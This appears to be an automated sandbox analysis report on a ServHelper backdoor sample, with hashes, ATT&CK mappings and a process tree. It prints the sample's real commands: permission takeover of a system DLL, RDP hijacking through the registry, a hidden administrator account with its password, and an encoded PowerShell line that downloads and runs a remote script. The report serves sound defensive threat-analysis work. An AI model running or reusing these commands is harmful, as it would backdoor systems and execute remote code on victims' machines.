servhelper | b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15

Analysis

max time kernel
130s
max time network
152s
platform
windows7_x64
resource
win7v20210408
submitted
17/05/2021, 17:16

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General

Target
b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
Size 6.1MB
Sample210517-e319slvrz2
SHA256 b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15
MD5 ea2e527c2a141b9ea8052b506ca4fbd9
SHA1 ad5d7788f6c447759422648f55a2d12e4a4a19ab
SHA512 38c489b3016f5a804130ce43b0da878d98e4504045e3e85459e83487992d941d03d93f7ad4bbdc8b7ee16aaefc0c205a582ab0eb2a08767cac9b31a160f527c3
MD5 SHA1 SHA512

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
460	takeown.exe
620	icacls.exe
1908	icacls.exe
280	icacls.exe
1336	icacls.exe
1660	icacls.exe
1580	icacls.exe
784	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130dc-174.dat	upx
behavioral1/files/0x00050000000130dd-175.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
576	Process not Found
576	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
784	icacls.exe
460	takeown.exe
620	icacls.exe
1908	icacls.exe
280	icacls.exe
1336	icacls.exe
1660	icacls.exe
1580	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_483d5146-5784-4952-b288-99ca15e25103	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d61bff2c-68e5-4391-89e4-a8beaa02e438	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_32b513fa-3847-456b-b896-25058740cf4f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_edb1c81e-7df2-4f65-a2be-9fec732f2336	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8f02869b-de24-4e6d-b23d-53ee44a8a537	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_02281eed-9ee3-42be-aad6-ede3815b8a6a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8f4fe0f4-41d8-4b64-ad4d-419916e8075f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93f4fde5-9e9b-4855-905e-e2b5c707adf0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0140d942-e372-4066-ac15-3e2e2fcb8a36	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LI8J76DFUEVEGFGHFVFS.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_468b26f8-7b96-410e-ba7e-635441e71868	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_24f73136-635d-472e-bb74-714c1248dc4d	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70be6fe8514bd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1648	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1324	powershell.exe
1324	powershell.exe
548	powershell.exe
548	powershell.exe
948	powershell.exe
948	powershell.exe
1332	powershell.exe
1332	powershell.exe
1324	powershell.exe
1324	powershell.exe
1324	powershell.exe
1512	powershell.exe
1512	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
576	Process not Found
576	Process not Found
576	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1908	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1356	WMIC.exe
Token: SeAuditPrivilege	1356	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1356	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1356	WMIC.exe
Token: SeAuditPrivilege	1356	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	112	WMIC.exe
Token: SeAuditPrivilege	112	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	112	WMIC.exe
Token: SeAuditPrivilege	112	WMIC.exe
Token: SeDebugPrivilege	1512	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1092 wrote to memory of 1324	1092	b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe	29
PID 1092 wrote to memory of 1324	1092	b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe	29
PID 1092 wrote to memory of 1324	1092	b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe	29
PID 1324 wrote to memory of 548	1324	powershell.exe	31
PID 1324 wrote to memory of 548	1324	powershell.exe	31
PID 1324 wrote to memory of 548	1324	powershell.exe	31
PID 1324 wrote to memory of 948	1324	powershell.exe	33
PID 1324 wrote to memory of 948	1324	powershell.exe	33
PID 1324 wrote to memory of 948	1324	powershell.exe	33
PID 1324 wrote to memory of 1332	1324	powershell.exe	35
PID 1324 wrote to memory of 1332	1324	powershell.exe	35
PID 1324 wrote to memory of 1332	1324	powershell.exe	35
PID 1324 wrote to memory of 460	1324	powershell.exe	38
PID 1324 wrote to memory of 460	1324	powershell.exe	38
PID 1324 wrote to memory of 460	1324	powershell.exe	38
PID 1324 wrote to memory of 620	1324	powershell.exe	39
PID 1324 wrote to memory of 620	1324	powershell.exe	39
PID 1324 wrote to memory of 620	1324	powershell.exe	39
PID 1324 wrote to memory of 1908	1324	powershell.exe	40
PID 1324 wrote to memory of 1908	1324	powershell.exe	40
PID 1324 wrote to memory of 1908	1324	powershell.exe	40
PID 1324 wrote to memory of 280	1324	powershell.exe	41
PID 1324 wrote to memory of 280	1324	powershell.exe	41
PID 1324 wrote to memory of 280	1324	powershell.exe	41
PID 1324 wrote to memory of 1336	1324	powershell.exe	42
PID 1324 wrote to memory of 1336	1324	powershell.exe	42
PID 1324 wrote to memory of 1336	1324	powershell.exe	42
PID 1324 wrote to memory of 1660	1324	powershell.exe	43
PID 1324 wrote to memory of 1660	1324	powershell.exe	43
PID 1324 wrote to memory of 1660	1324	powershell.exe	43
PID 1324 wrote to memory of 1580	1324	powershell.exe	44
PID 1324 wrote to memory of 1580	1324	powershell.exe	44
PID 1324 wrote to memory of 1580	1324	powershell.exe	44
PID 1324 wrote to memory of 784	1324	powershell.exe	45
PID 1324 wrote to memory of 784	1324	powershell.exe	45
PID 1324 wrote to memory of 784	1324	powershell.exe	45
PID 1324 wrote to memory of 1904	1324	powershell.exe	46
PID 1324 wrote to memory of 1904	1324	powershell.exe	46
PID 1324 wrote to memory of 1904	1324	powershell.exe	46
PID 1324 wrote to memory of 1648	1324	powershell.exe	47
PID 1324 wrote to memory of 1648	1324	powershell.exe	47
PID 1324 wrote to memory of 1648	1324	powershell.exe	47
PID 1324 wrote to memory of 880	1324	powershell.exe	48
PID 1324 wrote to memory of 880	1324	powershell.exe	48
PID 1324 wrote to memory of 880	1324	powershell.exe	48
PID 1324 wrote to memory of 1840	1324	powershell.exe	49
PID 1324 wrote to memory of 1840	1324	powershell.exe	49
PID 1324 wrote to memory of 1840	1324	powershell.exe	49
PID 1840 wrote to memory of 1536	1840	net.exe	50
PID 1840 wrote to memory of 1536	1840	net.exe	50
PID 1840 wrote to memory of 1536	1840	net.exe	50
PID 1324 wrote to memory of 872	1324	powershell.exe	51
PID 1324 wrote to memory of 872	1324	powershell.exe	51
PID 1324 wrote to memory of 872	1324	powershell.exe	51
PID 872 wrote to memory of 1996	872	cmd.exe	52
PID 872 wrote to memory of 1996	872	cmd.exe	52
PID 872 wrote to memory of 1996	872	cmd.exe	52
PID 1996 wrote to memory of 1320	1996	cmd.exe	53
PID 1996 wrote to memory of 1320	1996	cmd.exe	53
PID 1996 wrote to memory of 1320	1996	cmd.exe	53
PID 1320 wrote to memory of 1620	1320	net.exe	54
PID 1320 wrote to memory of 1620	1320	net.exe	54
PID 1320 wrote to memory of 1620	1320	net.exe	54
PID 1324 wrote to memory of 940	1324	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
"C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:460
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1908
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:280
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1336
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1660
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1580
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:784
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1904
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1648
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:880
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1536
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1996
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1320
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1620
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:940
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:324
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1328
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1688
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1328
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1916

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:280
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1920

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc cNolaOVr /add
1⤵
PID:2020
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc cNolaOVr /add
  2⤵
  PID:928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc cNolaOVr /add
    3⤵
    PID:1224

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1816
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1320

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1168
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:752

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:524
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1648

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc cNolaOVr
1⤵
PID:928
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc cNolaOVr
  2⤵
  PID:1512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc cNolaOVr
    3⤵
    PID:1996

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1524
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1356

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1732
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:112

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2000
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/548-91-0x0000000002650000-0x0000000002651000-memory.dmp

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memory/548-99-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

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memory/548-93-0x0000000002760000-0x0000000002761000-memory.dmp

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memory/548-112-0x000000001B670000-0x000000001B671000-memory.dmp

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memory/548-113-0x000000001B680000-0x000000001B681000-memory.dmp

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memory/548-87-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

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memory/548-88-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

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memory/548-89-0x0000000002450000-0x0000000002451000-memory.dmp

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memory/548-94-0x0000000001E70000-0x0000000001E71000-memory.dmp

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memory/948-120-0x000000001A924000-0x000000001A926000-memory.dmp

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memory/948-119-0x000000001A920000-0x000000001A922000-memory.dmp

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memory/948-122-0x000000001A8F0000-0x000000001A8F1000-memory.dmp

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memory/948-127-0x000000001A910000-0x000000001A911000-memory.dmp

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memory/948-126-0x000000001B560000-0x000000001B561000-memory.dmp

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memory/948-124-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

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memory/1092-65-0x0000000043767000-0x0000000043768000-memory.dmp

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memory/1092-64-0x0000000043766000-0x0000000043767000-memory.dmp

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memory/1092-62-0x0000000043762000-0x0000000043764000-memory.dmp

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memory/1092-60-0x0000000043C10000-0x0000000044031000-memory.dmp

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memory/1092-63-0x0000000043764000-0x0000000043766000-memory.dmp

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memory/1324-79-0x000000001B7A0000-0x000000001B7A1000-memory.dmp

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memory/1324-68-0x00000000022E0000-0x00000000022E1000-memory.dmp

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memory/1324-72-0x000000001A844000-0x000000001A846000-memory.dmp

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memory/1324-77-0x000000001A84A000-0x000000001A869000-memory.dmp

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memory/1324-75-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

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memory/1324-78-0x000000001B4C0000-0x000000001B4C1000-memory.dmp

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memory/1324-67-0x000007FEFBAA1000-0x000007FEFBAA3000-memory.dmp

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memory/1324-151-0x000000001C6B0000-0x000000001C6B1000-memory.dmp

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memory/1324-70-0x00000000024C0000-0x00000000024C1000-memory.dmp

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memory/1324-73-0x000000001B3A0000-0x000000001B3A1000-memory.dmp

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memory/1324-80-0x000000001B3E0000-0x000000001B3E1000-memory.dmp

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memory/1324-71-0x000000001A840000-0x000000001A842000-memory.dmp

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memory/1324-69-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

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memory/1332-143-0x000000001A9D4000-0x000000001A9D6000-memory.dmp

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memory/1332-142-0x000000001A9D0000-0x000000001A9D2000-memory.dmp

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memory/1512-200-0x0000000019590000-0x0000000019592000-memory.dmp

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memory/1512-201-0x0000000019594000-0x0000000019596000-memory.dmp

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memory/1512-202-0x000000001959A000-0x00000000195B9000-memory.dmp

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